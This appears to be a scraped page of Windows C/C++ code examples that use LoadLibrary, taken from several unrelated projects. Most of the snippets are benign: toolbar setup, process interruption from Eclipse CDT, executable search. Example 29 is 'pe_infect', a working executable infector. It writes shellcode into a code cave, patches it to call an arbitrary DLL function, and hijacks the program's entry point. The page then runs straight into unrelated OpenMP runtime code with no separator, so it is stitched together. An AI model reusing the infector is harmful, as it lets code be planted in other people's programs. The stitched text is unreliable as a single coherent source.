	HICON hImg = (HICON) LoadImage(_Module.GetResourceInstance(), MAKEINTRESOURCE(IDI_CONFIGURE), IMAGE_ICON, 16, 16, 0);
	addbmp.nID = (UINT_PTR) _ConvertIconToBitmap(hImg);
	iImage = bIsPGPpresent ? I_IMAGENONE : (int)SendMessage(hToolbar, TB_ADDBITMAP, (WPARAM) 1, (LPARAM) static_cast<LPTBADDBITMAP>(&addbmp)); 
	but.iBitmap = iImage;
	but.idCommand = ID_CONFIG;
	but.fsState = TBSTATE_ENABLED;
	if(COETricks::m_bVista)
	{
		wstr = _Module.LoadStringW("Report_Body.ReportDetails.antispam.Events.menu", "ASConfigCaption");
		if (wstr.empty())
			wstr = L"Configure";
		but.iString = (INT_PTR)wstr.c_str();
		SendMessage(hToolbar, TB_ADDBUTTONSW, (WPARAM)1, (LPARAM) (LPTBBUTTON)&but);
	}
	else
	{
		str = _Module.LoadString("Report_Body.ReportDetails.antispam.Events.menu", "ASConfigCaption");
		if (str.size() <= 0)
			str = _T("Configure");
		but.iString = (INT_PTR)str.c_str();
		SendMessage(hToolbar, TB_ADDBUTTONS, (WPARAM)1, (LPARAM) (LPTBBUTTON)&but);
	}

	return true;
}
Ejemplo n.º 26
0
static bool LoadCustomDLL()
{
	realXInput = LoadLibrary(customDLL.c_str());
	return realXInput != NULL;
}
Ejemplo n.º 27
0
Archivo: raise.c Proyecto: MarcMil/cdt
/////////////////////////////////////////////////////////////////////////////////////
// Called to interrupt a process that we didn't launch (and thus does not share our 
// console). Windows XP introduced the function 'DebugBreakProcess', which allows
// a process to interrupt another process even if if the two do not share a console.
// If we're running on 2000 or earlier, we have to resort to simulating a CTRL-C
// in the console by firing keyboard events. This will work only if the process
// has its own console. That means, e.g., the process should have been started at
// the cmdline with 'start myprogram.exe' instead of 'myprogram.exe'.
//
// Arguments:  
//			pid - process' pid
// Return : 0 if OK or error code
/////////////////////////////////////////////////////////////////////////////////////
int interruptProcess(int pid) 
{
	// See if DebugBreakProcess is available (XP and beyond)
	HMODULE hmod = LoadLibrary(L"Kernel32.dll");
	if (hmod != NULL) 
	{
		BOOL success = FALSE;
		FARPROC procaddr = GetProcAddress(hmod, "DebugBreakProcess");
		if (procaddr != NULL)
		{
			HANDLE proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD)pid);
			if (proc != NULL) 
			{
				DebugBreakProcessFunc pDebugBreakProcess = (DebugBreakProcessFunc)procaddr;
				success = (*pDebugBreakProcess)(proc); 
				CloseHandle(proc);
			}
		}
		FreeLibrary(hmod);
		hmod = NULL;
		
		if (success)
			return 0;	// 0 == OK; if not, try old-school way
	}

#ifdef DEBUG_MONITOR
    _TCHAR buffer[1000];
#endif
	int rc = 0;
	consoleHWND = NULL;

#ifdef DEBUG_MONITOR
		_stprintf(buffer, _T("Try to interrupt process %i\n"), pid);
		OutputDebugStringW(buffer);
#endif
	// Find console
	EnumWindows (find_child_console, (LPARAM) pid);

	if(NULL != consoleHWND) // Yes, we found out it
	{
	  // We are going to switch focus to console, 
	  // send Ctrl-C and then restore focus
	  BYTE control_scan_code = (BYTE) MapVirtualKey (VK_CONTROL, 0);
	  /* Fake Ctrl-C for SIGINT, and Ctrl-Break for SIGQUIT.  */
	  BYTE vk_c_code = 'C';
	  BYTE vk_break_code = VK_CANCEL;
	  BYTE c_scan_code = (BYTE) MapVirtualKey (vk_c_code, 0);
	  BYTE break_scan_code = (BYTE) MapVirtualKey (vk_break_code, 0);
	  HWND foreground_window;
		

	  foreground_window = GetForegroundWindow ();
	  if (foreground_window)
	    {
         /* NT 5.0, and apparently also Windows 98, will not allow
		 a Window to be set to foreground directly without the
		 user's involvement. The workaround is to attach
		 ourselves to the thread that owns the foreground
		 window, since that is the only thread that can set the
		 foreground window.  */
        DWORD foreground_thread, child_thread;
        foreground_thread =
			GetWindowThreadProcessId (foreground_window, NULL);
	    if (foreground_thread == GetCurrentThreadId ()
                  || !AttachThreadInput (GetCurrentThreadId (),
                                         foreground_thread, TRUE))
            foreground_thread = 0;

        child_thread = GetWindowThreadProcessId (consoleHWND, NULL);
	    if (child_thread == GetCurrentThreadId ()
                  || !AttachThreadInput (GetCurrentThreadId (),
                                         child_thread, TRUE))
            child_thread = 0;

        /* Set the foreground window to the child.  */
        if (SetForegroundWindow (consoleHWND))
           {
		   if(0 != break_scan_code) {
			   /* Generate keystrokes as if user had typed Ctrl-Break */
			   keybd_event (VK_CONTROL, control_scan_code, 0, 0);
			   keybd_event (vk_break_code, break_scan_code,	KEYEVENTF_EXTENDEDKEY, 0);
			   keybd_event (vk_break_code, break_scan_code,
					KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP, 0);
			   keybd_event (VK_CONTROL, control_scan_code,  KEYEVENTF_KEYUP, 0);
		   }

          /* Sleep for a bit to give time for respond */
           Sleep (100);

           SetForegroundWindow (foreground_window);
           }
         /* Detach from the foreground and child threads now that
            the foreground switching is over.  */
        if (foreground_thread)
           AttachThreadInput (GetCurrentThreadId (),
                                   foreground_thread, FALSE);
        if (child_thread)
           AttachThreadInput (GetCurrentThreadId (),
                                   child_thread, FALSE);
#ifdef DEBUG_MONITOR
		_stprintf(buffer, _T("Sent Ctrl-C & Ctrl-Break to process %i\n"), pid);
		OutputDebugStringW(buffer);
#endif
        }
    } 
#ifdef DEBUG_MONITOR
	else {
		_stprintf(buffer, _T("Cannot find console for process %i\n"), pid);
		OutputDebugStringW(buffer);
	}
#endif

	return rc;
}
Ejemplo n.º 28
0
bool FindImageSubsystem(const wchar_t *Module, /*wchar_t* pstrDest,*/ DWORD& ImageSubsystem, DWORD& ImageBits, DWORD& FileAttrs)
{
    if (!Module || !*Module)
        return false;

    bool Result = false;
    //ImageSubsystem = IMAGE_SUBSYSTEM_UNKNOWN;

    // Исключения нас не интересуют - команда уже сформирована и отдана в CreateProcess!
    //// нулевой проход - смотрим исключения
    //// Берем "исключения" из реестра, которые должны исполняться директом,
    //// например, некоторые внутренние команды ком. процессора.
    //string strExcludeCmds;
    //GetRegKey(strSystemExecutor,L"ExcludeCmds",strExcludeCmds,L"");
    //UserDefinedList ExcludeCmdsList;
    //ExcludeCmdsList.Set(strExcludeCmds);
    //while (!ExcludeCmdsList.IsEmpty())
    //{
    //	if (!StrCmpI(Module,ExcludeCmdsList.GetNext()))
    //	{
    //		ImageSubsystem=IMAGE_SUBSYSTEM_WINDOWS_CUI;
    //		Result=true;
    //		break;
    //	}
    //}

    //string strFullName=Module;
    LPCWSTR ModuleExt = PointToExt(Module);
    wchar_t *strPathExt/*[32767]*/ = NULL; //(L".COM;.EXE;.BAT;.CMD;.VBS;.JS;.WSH");
    wchar_t *strPathEnv/*[32767]*/ = NULL;
    wchar_t *strExpand/*[32767]*/ = NULL;
    wchar_t *strTmpName/*[32767]*/ = NULL;
    wchar_t *pszFilePart = NULL;
    DWORD nPathExtLen = 0;
    LPCWSTR pszPathExtEnd = NULL;
    LPWSTR Ext = NULL;

    typedef LONG (WINAPI *RegOpenKeyExW_t)(HKEY hKey, LPCTSTR lpSubKey, DWORD ulOptions, REGSAM samDesired, PHKEY phkResult);
    RegOpenKeyExW_t _RegOpenKeyEx = NULL;
    typedef LONG (WINAPI *RegQueryValueExW_t)(HKEY hKey, LPCTSTR lpValueName, LPDWORD lpReserved, LPDWORD lpType, LPBYTE lpData, LPDWORD lpcbData);
    RegQueryValueExW_t _RegQueryValueEx = NULL;
    typedef LONG (WINAPI *RegCloseKey_t)(HKEY hKey);
    RegCloseKey_t _RegCloseKey = NULL;
    HMODULE hAdvApi = NULL;



    int cchstrPathExt = 32767;
    strPathExt = (wchar_t*)malloc(cchstrPathExt*sizeof(wchar_t));
    *strPathExt = 0;
    int cchstrPathEnv = 32767;
    strPathEnv = (wchar_t*)malloc(cchstrPathEnv*sizeof(wchar_t));
    *strPathEnv = 0;
    int cchstrExpand = 32767;
    strExpand = (wchar_t*)malloc(cchstrExpand*sizeof(wchar_t));
    *strExpand = 0;
    int cchstrTmpName = 32767;
    strTmpName = (wchar_t*)malloc(cchstrTmpName*sizeof(wchar_t));
    *strTmpName = 0;

    nPathExtLen = GetEnvironmentVariable(L"PATHEXT", strPathExt, cchstrPathExt-2);
    if (!nPathExtLen)
    {
        _wcscpy_c(strPathExt, cchstrPathExt, L".COM;.EXE;.BAT;.CMD;.VBS;.JS;.WSH");
        nPathExtLen = lstrlen(strPathExt);
    }
    pszPathExtEnd = strPathExt+nPathExtLen;
    // Разбить на токены
    strPathExt[nPathExtLen] = strPathExt[nPathExtLen+1] = 0;
    Ext = wcschr(strPathExt, L';');
    while (Ext)
    {
        *Ext = 0;
        Ext = wcschr(Ext+1, L';');
    }

    TODO("Проверить на превышение длин строк");

    // первый проход - в текущем каталоге
    LPWSTR pszExtCur = strPathExt;
    while (pszExtCur < pszPathExtEnd)
    {
        Ext = pszExtCur;
        pszExtCur = pszExtCur + lstrlen(pszExtCur)+1;

        _wcscpyn_c(strTmpName, cchstrTmpName, Module, cchstrTmpName); //-V501

        if (!ModuleExt)
        {
            if (!*Ext)
                continue;
            _wcscatn_c(strTmpName, cchstrTmpName, Ext, cchstrTmpName);
        }

        if (GetImageSubsystem(strTmpName, ImageSubsystem, ImageBits/*16/32/64*/, FileAttrs))
        {
            Result = true;
            goto wrap;
        }

        if (ModuleExt)
        {
            break;
        }
    }

    // второй проход - по правилам SearchPath

    // поиск по переменной PATH
    if (GetEnvironmentVariable(L"PATH", strPathEnv, cchstrPathEnv))
    {
        LPWSTR pszPathEnvEnd = strPathEnv + lstrlen(strPathEnv);

        LPWSTR pszPathCur = strPathEnv;
        while (pszPathCur && (pszPathCur < pszPathEnvEnd))
        {
            LPWSTR Path = pszPathCur;
            LPWSTR pszPathNext = wcschr(pszPathCur, L';');
            if (pszPathNext)
            {
                *pszPathNext = 0;
                pszPathCur = pszPathNext+1;
            }
            else
            {
                pszPathCur = pszPathEnvEnd;
            }
            if (!*Path)
                continue;

            pszExtCur = strPathExt;
            while (pszExtCur < pszPathExtEnd)
            {
                Ext = pszExtCur;
                pszExtCur = pszExtCur + lstrlen(pszExtCur)+1;
                if (!*Ext)
                    continue;

                if (SearchPath(Path, Module, Ext, cchstrTmpName, strTmpName, &pszFilePart))
                {
                    if (GetImageSubsystem(strTmpName, ImageSubsystem, ImageBits, FileAttrs))
                    {
                        Result = true;
                        goto wrap;
                    }
                }
            }
        }
    }

    pszExtCur = strPathExt;
    while (pszExtCur < pszPathExtEnd)
    {
        Ext = pszExtCur;
        pszExtCur = pszExtCur + lstrlen(pszExtCur)+1;
        if (!*Ext)
            continue;

        if (SearchPath(NULL, Module, Ext, cchstrTmpName, strTmpName, &pszFilePart))
        {
            if (GetImageSubsystem(strTmpName, ImageSubsystem, ImageBits, FileAttrs))
            {
                Result = true;
                goto wrap;
            }
        }
    }

    // третий проход - лезем в реестр в "App Paths"
    if (!wcschr(Module, L'\\'))
    {
        hAdvApi = LoadLibrary(L"AdvApi32.dll");
        if (!hAdvApi)
            goto wrap;
        _RegOpenKeyEx = (RegOpenKeyExW_t)GetProcAddress(hAdvApi, "RegOpenKeyExW");
        _RegQueryValueEx = (RegQueryValueExW_t)GetProcAddress(hAdvApi, "RegQueryValueExW");
        _RegCloseKey = (RegCloseKey_t)GetProcAddress(hAdvApi, "RegCloseKey");
        if (!_RegOpenKeyEx || !_RegQueryValueEx || !_RegCloseKey)
            goto wrap;

        LPCWSTR RegPath = L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\";
        // В строке Module заменить исполняемый модуль на полный путь, который
        // берется из SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths
        // Сначала смотрим в HKCU, затем - в HKLM
        HKEY RootFindKey[] = {HKEY_CURRENT_USER,HKEY_LOCAL_MACHINE,HKEY_LOCAL_MACHINE};

        BOOL lbAddExt = FALSE;
        pszExtCur = strPathExt;
        while (pszExtCur < pszPathExtEnd)
        {
            if (!lbAddExt)
            {
                Ext = NULL;
                lbAddExt = TRUE;
            }
            else
            {
                Ext = pszExtCur;
                pszExtCur = pszExtCur + lstrlen(pszExtCur)+1;
                if (!*Ext)
                    continue;
            }

            _wcscpy_c(strTmpName, cchstrTmpName, RegPath);
            _wcscatn_c(strTmpName, cchstrTmpName, Module, cchstrTmpName);
            if (Ext)
                _wcscatn_c(strTmpName, cchstrTmpName, Ext, cchstrTmpName);

            DWORD samDesired = KEY_QUERY_VALUE;
            DWORD RedirectionFlag = 0;
            // App Paths key is shared in Windows 7 and above
            static int sIsWindows7 = 0;
            if (sIsWindows7 == 0)
            {
                _ASSERTE(_WIN32_WINNT_WIN7==0x601);
                OSVERSIONINFOEXW osvi = {sizeof(osvi), HIBYTE(_WIN32_WINNT_WIN7), LOBYTE(_WIN32_WINNT_WIN7)};
                DWORDLONG const dwlConditionMask = VerSetConditionMask(VerSetConditionMask(0, VER_MAJORVERSION, VER_GREATER_EQUAL), VER_MINORVERSION, VER_GREATER_EQUAL);
                sIsWindows7 = VerifyVersionInfoW(&osvi, VER_MAJORVERSION | VER_MINORVERSION, dwlConditionMask) ? 1 : -1;
            }
            if (sIsWindows7 != 1)
            {
#ifdef _WIN64
                RedirectionFlag = KEY_WOW64_32KEY;
#else
                RedirectionFlag = IsWindows64() ? KEY_WOW64_64KEY : 0;
#endif
            }
            for (size_t i = 0; i < countof(RootFindKey); i++)
            {
                if (i == (countof(RootFindKey)-1))
                {
                    if (RedirectionFlag)
                        samDesired |= RedirectionFlag;
                    else
                        break;
                }
                HKEY hKey;
                if (_RegOpenKeyEx(RootFindKey[i], strTmpName, 0, samDesired, &hKey) == ERROR_SUCCESS)
                {
                    DWORD nType = 0, nSize = sizeof(strTmpName)-2;
                    int RegResult = _RegQueryValueEx(hKey, L"", NULL, &nType, (LPBYTE)strTmpName, &nSize);
                    _RegCloseKey(hKey);

                    if ((RegResult == ERROR_SUCCESS) && (nType == REG_SZ || nType == REG_EXPAND_SZ || nType == REG_MULTI_SZ))
                    {
                        strTmpName[(nSize >> 1)+1] = 0;
                        if (!ExpandEnvironmentStrings(strTmpName, strExpand, cchstrExpand))
                            _wcscpy_c(strExpand, cchstrExpand, strTmpName);
                        if (GetImageSubsystem(Unquote(strExpand), ImageSubsystem, ImageBits, FileAttrs))
                        {
                            Result = true;
                            goto wrap;
                        }
                    }
                }
            }
Ejemplo n.º 29
0
//感染
//int bool double等基本类型可以返回
//结构体、pchar等不可以返回
//擦,害的我半死
void pe_infect(LPTSTR lpFilePath,LPTSTR lpDllName,LPSTR lpFuncName,ppe_retn_msg p_msg)
{
	/* shell code*/
	/*push 0 */
	/*mov eax , func_addr (address will be inserted)*/
	/*call eax */
	/*mov eax, ori oep */
	/*jmp eax */

	//shellcode
	char code[] = "\x6A\x00\xB8\x00\x00\x00\x00\xFF\xD0\xB8\x00\x00\x00\x00\xFF\xE0";   

	//打开文件
	HANDLE hFile = CreateFile(lpFilePath,
		GENERIC_WRITE | GENERIC_READ,
		0,
		NULL,
		OPEN_EXISTING,
		FILE_ATTRIBUTE_NORMAL,
		NULL);

	//打开文件失败
	if(hFile == INVALID_HANDLE_VALUE)
	{
		p_msg->isSuccessed = false;
		swprintf(p_msg->tsMsg,L"can't create file! error code : %d",GetLastError());
		//
		return;
	}

	//获得文件大小
	DWORD dwFileSize = GetFileSize(hFile , 0 );

	//映射文件
	HANDLE hMap = CreateFileMapping(hFile ,
		0 ,
		PAGE_READWRITE ,
		0 ,
		dwFileSize ,
		0);

	//文件映射内存失败
	if(hMap == INVALID_HANDLE_VALUE)
	{
		CloseHandle(hFile);

		p_msg->isSuccessed = false;
		swprintf(p_msg->tsMsg,L"can't create file mapping! error code : %d",GetLastError());
		//
		return ;
	}

	//获得映射基址
	LPBYTE lpBase = (LPBYTE)MapViewOfFile(hMap , FILE_MAP_READ | FILE_MAP_WRITE , 0 , 0 , dwFileSize);

	//文件映射内存失败
	if(lpBase == NULL)
	{
		CloseHandle(hFile);
		CloseHandle(hMap);
		UnmapViewOfFile(lpBase);

		p_msg->isSuccessed = false;
		swprintf(p_msg->tsMsg,L"can't map view of file! error code : %d",GetLastError());
		//
		return ;
	}

	//#define FIELD_OFFSET(type, field)    ((LONG)(LONG_PTR)&(((type *)0)->field))
	//#define IMAGE_FIRST_SECTION(ntheader) ((PIMAGE_SECTION_HEADER)((ULONG_PTR)ntheader + FIELD_OFFSET(IMAGE_NT_HEADERS, OptionalHeader) + ((PIMAGE_NT_HEADERS)(ntheader))->FileHeader.SizeOfOptionalHeader))

	//
	PIMAGE_DOS_HEADER pImage_dos_header = (PIMAGE_DOS_HEADER)lpBase;
	//
	PIMAGE_NT_HEADERS pImage_nt_header = (PIMAGE_NT_HEADERS)((DWORD)lpBase + pImage_dos_header->e_lfanew);
	//
	PIMAGE_SECTION_HEADER pImage_section_header= IMAGE_FIRST_SECTION(pImage_nt_header);

	//.text section PointerToRawData
	DWORD dwSectionOffset = pe_getTextSecOffset(pImage_section_header, pImage_nt_header->FileHeader.NumberOfSections);

	//
	if(dwSectionOffset == 0)
	{
		CloseHandle(hFile);
		CloseHandle(hMap);
		UnmapViewOfFile(lpBase);

		p_msg->isSuccessed = false;
		swprintf(p_msg->tsMsg,L"can't find .text section!");
		//
		return ;
	}

	//
	DWORD dwDelta = dwSectionOffset - sizeof(code);

	//
	for(int i=0 ; i < sizeof(code) ; i++)
	{
		BYTE check = *((PBYTE)lpBase + dwDelta + i);
		//
		if(check != 0)
		{
			CloseHandle(hFile);
			CloseHandle(hMap);
			UnmapViewOfFile(lpBase);

			p_msg->isSuccessed = false;
			swprintf(p_msg->tsMsg,L"not enough space in .text section!");
			//
			return ;
		}
	}

	//获得DLL中导出函数地址
	//DWORD func_addr = (DWORD)GetProcAddress(LoadLibrary("kernel32.dll") , "ExitProcess");

	//获得DLL中导出函数地址
	DWORD dwFuncAddr = (DWORD)GetProcAddress(LoadLibrary(lpDllName), lpFuncName);

	//如果获得函数地址
	if (dwFuncAddr == 0)
	{
		CloseHandle(hFile);
		CloseHandle(hMap);
		UnmapViewOfFile(lpBase);

		USES_CONVERSION;
		p_msg->isSuccessed = false;
		swprintf(p_msg->tsMsg,L"can't find %ws address!",A2W(lpFuncName));
		//
		return ;
	}

	//shellcode填补
	for(int i=0 ; i < sizeof(code); i++)
	{
		if(*(PBYTE)(code + i) == 0xB8)
		{
			*(PDWORD)(code + i+ 1) = dwFuncAddr;
			break;
		}
	}

	int movCount = 0;

	//shellcode填补
	for(int i=0 ; i < sizeof(code); i++)
	{
		//跳到原始OEP
		if(*(PBYTE)(code + i) == 0xB8)
		{
			movCount ++;
		}

		if (movCount == 2)
		{
			//pImage_nt_header->OptionalHeader.ImageBase 装载在内存的地址
			*(PDWORD)(code + i+ 1) = pImage_nt_header->OptionalHeader.ImageBase + pImage_nt_header->OptionalHeader.AddressOfEntryPoint;
			break;
		}
	}

	
	//写入数据
	memcpy(lpBase + dwDelta,code,sizeof(code));

	//new OEP
	pImage_nt_header->OptionalHeader.AddressOfEntryPoint = dwDelta;

	CloseHandle(hFile);
	CloseHandle(hMap);
	UnmapViewOfFile(lpBase);

	p_msg->isSuccessed = true;

	//
	return ;
}
static ompt_start_tool_result_t *
ompt_try_start_tool(unsigned int omp_version, const char *runtime_version) {
  ompt_start_tool_result_t *ret = NULL;
  ompt_start_tool_t start_tool = NULL;
#if KMP_OS_WINDOWS
  // Cannot use colon to describe a list of absolute paths on Windows
  const char *sep = ";";
#else
  const char *sep = ":";
#endif

#if KMP_OS_DARWIN
  // Try in the current address space
  ret = ompt_tool_darwin(omp_version, runtime_version);
#elif OMPT_HAVE_WEAK_ATTRIBUTE
  ret = ompt_start_tool(omp_version, runtime_version);
#elif OMPT_HAVE_PSAPI
  ret = ompt_tool_windows(omp_version, runtime_version);
#else
#error Activation of OMPT is not supported on this platform.
#endif
  if (ret)
    return ret;

  // Try tool-libraries-var ICV
  const char *tool_libs = getenv("OMP_TOOL_LIBRARIES");
  if (tool_libs) {
    char *libs = __kmp_str_format("%s", tool_libs);
    char *buf;
    char *fname = __kmp_str_token(libs, sep, &buf);
    while (fname) {
#if KMP_OS_UNIX
      void *h = dlopen(fname, RTLD_LAZY);
      if (h) {
        start_tool = (ompt_start_tool_t)dlsym(h, "ompt_start_tool");
#elif KMP_OS_WINDOWS
      HMODULE h = LoadLibrary(fname);
      if (h) {
        start_tool = (ompt_start_tool_t)GetProcAddress(h, "ompt_start_tool");
#else
#error Activation of OMPT is not supported on this platform.
#endif
        if (start_tool && (ret = (*start_tool)(omp_version, runtime_version)))
          break;
      }
      fname = __kmp_str_token(NULL, sep, &buf);
    }
    __kmp_str_free(&libs);
  }
  return ret;
}

void ompt_pre_init() {
  //--------------------------------------------------
  // Execute the pre-initialization logic only once.
  //--------------------------------------------------
  static int ompt_pre_initialized = 0;

  if (ompt_pre_initialized)
    return;

  ompt_pre_initialized = 1;

  //--------------------------------------------------
  // Use a tool iff a tool is enabled and available.
  //--------------------------------------------------
  const char *ompt_env_var = getenv("OMP_TOOL");
  tool_setting_e tool_setting = omp_tool_error;

  if (!ompt_env_var || !strcmp(ompt_env_var, ""))
    tool_setting = omp_tool_unset;
  else if (OMPT_STR_MATCH(ompt_env_var, "disabled"))
    tool_setting = omp_tool_disabled;
  else if (OMPT_STR_MATCH(ompt_env_var, "enabled"))
    tool_setting = omp_tool_enabled;

#if OMPT_DEBUG
  printf("ompt_pre_init(): tool_setting = %d\n", tool_setting);
#endif
  switch (tool_setting) {
  case omp_tool_disabled:
    break;

  case omp_tool_unset:
  case omp_tool_enabled:

    //--------------------------------------------------
    // Load tool iff specified in environment variable
    //--------------------------------------------------
    ompt_start_tool_result =
        ompt_try_start_tool(__kmp_openmp_version, ompt_get_runtime_version());

    memset(&ompt_enabled, 0, sizeof(ompt_enabled));
    break;

  case omp_tool_error:
    fprintf(stderr, "Warning: OMP_TOOL has invalid value \"%s\".\n"
                    "  legal values are (NULL,\"\",\"disabled\","
                    "\"enabled\").\n",
            ompt_env_var);
    break;
  }
#if OMPT_DEBUG
  printf("ompt_pre_init(): ompt_enabled = %d\n", ompt_enabled);
#endif
}

void ompt_post_init() {
  //--------------------------------------------------
  // Execute the post-initialization logic only once.
  //--------------------------------------------------
  static int ompt_post_initialized = 0;

  if (ompt_post_initialized)
    return;

  ompt_post_initialized = 1;

  //--------------------------------------------------
  // Initialize the tool if so indicated.
  //--------------------------------------------------
  if (ompt_start_tool_result) {
    ompt_enabled.enabled = !!ompt_start_tool_result->initialize(
        ompt_fn_lookup, &(ompt_start_tool_result->tool_data));

    if (!ompt_enabled.enabled) {
      // tool not enabled, zero out the bitmap, and done
      memset(&ompt_enabled, 0, sizeof(ompt_enabled));
      return;
    }

    ompt_thread_t *root_thread = ompt_get_thread();

    ompt_set_thread_state(root_thread, omp_state_overhead);

    if (ompt_enabled.ompt_callback_thread_begin) {
      ompt_callbacks.ompt_callback(ompt_callback_thread_begin)(
          ompt_thread_initial, __ompt_get_thread_data_internal());
    }
    ompt_data_t *task_data;
    __ompt_get_task_info_internal(0, NULL, &task_data, NULL, NULL, NULL);
    if (ompt_enabled.ompt_callback_task_create) {
      ompt_callbacks.ompt_callback(ompt_callback_task_create)(
          NULL, NULL, task_data, ompt_task_initial, 0, NULL);
    }

    ompt_set_thread_state(root_thread, omp_state_work_serial);
  }
}

void ompt_fini() {
  if (ompt_enabled.enabled) {
    ompt_start_tool_result->finalize(&(ompt_start_tool_result->tool_data));
  }

  memset(&ompt_enabled, 0, sizeof(ompt_enabled));
}

/*****************************************************************************
 * interface operations
 ****************************************************************************/

/*****************************************************************************
 * state
 ****************************************************************************/

OMPT_API_ROUTINE int ompt_enumerate_states(int current_state, int *next_state,
                                           const char **next_state_name) {
  const static int len = sizeof(omp_state_info) / sizeof(omp_state_info_t);
  int i = 0;

  for (i = 0; i < len - 1; i++) {
    if (omp_state_info[i].state_id == current_state) {
      *next_state = omp_state_info[i + 1].state_id;
      *next_state_name = omp_state_info[i + 1].state_name;
      return 1;
    }
  }

  return 0;
}

OMPT_API_ROUTINE int ompt_enumerate_mutex_impls(int current_impl,
                                                int *next_impl,
                                                const char **next_impl_name) {
  const static int len =
      sizeof(kmp_mutex_impl_info) / sizeof(kmp_mutex_impl_info_t);
  int i = 0;
  for (i = 0; i < len - 1; i++) {
    if (kmp_mutex_impl_info[i].id != current_impl)
      continue;
    *next_impl = kmp_mutex_impl_info[i + 1].id;
    *next_impl_name = kmp_mutex_impl_info[i + 1].name;
    return 1;
  }
  return 0;
}

/*****************************************************************************
 * callbacks
 ****************************************************************************/

OMPT_API_ROUTINE int ompt_set_callback(ompt_callbacks_t which,
                                       ompt_callback_t callback) {
  switch (which) {

#define ompt_event_macro(event_name, callback_type, event_id)                  \
  case event_name:                                                             \
    if (ompt_event_implementation_status(event_name)) {                        \
      ompt_callbacks.ompt_callback(event_name) = (callback_type)callback;      \
      ompt_enabled.event_name = (callback != 0);                               \
    }                                                                          \
    if (callback)                                                              \
      return ompt_event_implementation_status(event_name);                     \
    else                                                                       \
      return ompt_set_always;

    FOREACH_OMPT_EVENT(ompt_event_macro)

#undef ompt_event_macro

  default:
    return ompt_set_error;
  }
}

OMPT_API_ROUTINE int ompt_get_callback(ompt_callbacks_t which,
                                       ompt_callback_t *callback) {
  switch (which) {

#define ompt_event_macro(event_name, callback_type, event_id)                  \
  case event_name:                                                             \
    if (ompt_event_implementation_status(event_name)) {                        \
      ompt_callback_t mycb =                                                   \
          (ompt_callback_t)ompt_callbacks.ompt_callback(event_name);           \
      if (mycb) {                                                              \
        *callback = mycb;                                                      \
        return ompt_get_callback_success;                                      \
      }                                                                        \
    }                                                                          \
    return ompt_get_callback_failure;

    FOREACH_OMPT_EVENT(ompt_event_macro)

#undef ompt_event_macro

  default:
    return ompt_get_callback_failure;
  }
}

/*****************************************************************************
 * parallel regions
 ****************************************************************************/

OMPT_API_ROUTINE int ompt_get_parallel_info(int ancestor_level,
                                            ompt_data_t **parallel_data,
                                            int *team_size) {
  return __ompt_get_parallel_info_internal(ancestor_level, parallel_data,
                                           team_size);
}

OMPT_API_ROUTINE omp_state_t ompt_get_state(omp_wait_id_t *wait_id) {
  omp_state_t thread_state = __ompt_get_state_internal(wait_id);

  if (thread_state == omp_state_undefined) {
    thread_state = omp_state_work_serial;
  }

  return thread_state;
}